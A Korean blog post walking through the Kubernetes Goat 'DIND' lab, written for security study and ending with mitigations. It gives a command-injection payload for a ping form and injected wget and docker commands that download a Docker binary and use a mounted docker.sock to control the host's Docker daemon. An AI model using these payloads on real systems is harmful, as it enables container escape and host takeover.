본문 바로가기
HACKING/Docker

[ kubernetes-goat2 ] DIND

by asdf12345 2021. 8. 31.

[ kubernetes-goat#2 DIND ]

Table of contents

#0 개요

#1 Commnad Injection

#2 Docker MisConfiguration - 컨테이너 볼륨 제어

#3 Docker MisConfiguration - 컨테이너 권한 제어

#3 대응 방안

 

#0 개요

취약점 항목 : Command Injection, Docker Configuration - 컨테이너 네트워크 제어

취약점#1 : 입력 값 검증이 미흡하여 시스템 명령어로 전달되는 값 변조를 통해 공격자는 컨테이너 내부 시스템 명령어 실행이 가능합니다.

취약점#2 : 호스트 파일 접근 제어 설정이 미흡하므로 공격자는 Command Injection과 호스트 파일을 이용해 호스트 docker 명령어 실행을 통한 자원 제어가 가능합니다.

취약점#3 : 컨테이너에 최고 권한으로 명령 실행이 가능하므로, 공격자가 shell 실행 가능할 경우, 컨테이너의 다수 기능 이용 가능합니다.

위협#1 : 공격자는 컨테이너 내부 시스템 명령어 실행을 통해 컨테이너에서 실행되는 웹 서비스 중지가 가능합니다.

위협#2 : 호스트 도커 명령어 실행을 통해 도커 자원 내 중요 정보 추출, 서비스 중지, 다수 Web Application의 악의적인 코드 삽입이 가능합니다. 

위협#3 : 쉘 실행 가능한 경우, 루트 권한을 이용한 제 2차 공격이 가능합니다.

 

 

 

#1. Exploit1 : Command Injection

취약점 요약 : 입력 값 검증이 미흡하므로 공격자는 컨테이너 내 시스템 명령어 실행이 가능합니다.

 

Ping Test 서비스의 IP 주소 입력란에 추가 시스템 명령어 삽입을 통한 Command Injection 시도

URL : http://127.0.0.1:1231/

 

Submit 버튼 클릭 시, 요청 패킷 내 공격자가 입력한 endpoint 파라미터 값으로 전송

URL : http://127.0.0.1:1231

Parameter : endpoint=127.0.0.1;%3bls+-al

공격자가 전송한 Command 값이 필터링 없이 exec.Command() 변수로 삽입돼 시스템 명령어로 실행됨

공격자가 삽입한 추가 시스템 명령어 실행 후 결과가 index.html 내 Output 데이터 값으로 Command 실행 결과인 finalOutput 값을 바인딩해 template를 렌더링한 후, 공격자에게 전송됨.

 

명령어 실행을 통해 컨테이너에서 서비스 실행을 위한 파일 삭제가 가능하므로 서비스 중지 가능

 

 

 

#2 Exploit2 : Docker MisConfiguration - 컨테이너 볼륨 제어

취약점 요약 : 공격자는 Command Injection을 통해 컨테이너 내 마운트된 호스트 docker.sock을 이용한 호스트 도커 자원 제어 가능합니다.

 

Command Injection을 통해 컨테이너 내 docker.sock 존재 확인

yaml 파일 내 호스트의 docker.sock 파일을 컨테이너 특정 경로(/custom/docker/docker.sock)에 마운트하도록 정의

경로 : health-check/deployment.yaml

        volumeMounts:
          - mountPath: /custom/docker/docker.sock
            name: docker-sock-volume
      volumes:
        - name: docker-sock-volume
          hostPath:
            path: /var/run/docker.sock
            type: Socket

docker 명령어를 이용한 호스트 docker.sock 파일의 마운트 여부 확인 

docker ps --quiet -all | xargs docker inspect --format '{{ .Id }}: Volumes={{ .Mounts }}' | grep /var/run/docker.sock

+ 혹은 공격자 입장에서는 컨테이너에 mount 명령어를 실행해 공유 볼륨 경로를 확인 가능

 

 

Command Injection을 통해 컨테이너 내 docker binary 다운로드 후, docker binary와 마운트된 docker.sock을 이용해 호스트 docker daemon 에게 명령어 전달 시도

;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images

공격자가 의도한 명령어가 호스트 도커 daemon에게 전달되어 실행됨을 확인

공격자는 해당 취약점을 통해 호스트 도커 자원에 대한 제어 가능

 

#3 Docker Configuration - 컨테이너 권한 제어

컨테이너 런타임 또는 이미지에서 불필요하게 과도한 권한(root)이 설정된 경우, 공격자가 shell 확보했을 때, 다수 기능 이용 가능하므로 false로 지정

컨테이너 런타임 중 user가 최고권한인지 여부 확인

docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}:
Privileged={{ .HostConfig.Privileged }}'

 

 

 

 

 

#4 대응 방안

필터링을 통해 제공하는 ping 기능 외 공격자의 악의적인 시스템 명령어 실행 방지를 권고드립니다.

컨테이너 내 명령어 실행을 통해 마운트 된 docker.socket을 제거를 권고 드립니다.

 

 

 

 

 

'HACKING > Docker' 카테고리의 다른 글

[ kubernetesgoat5 ] Hidden in layers  (0) 2021.09.07
[ kubernetesgoat3 ] RBAC Least Privileges Misconfiguration  (0) 2021.09.06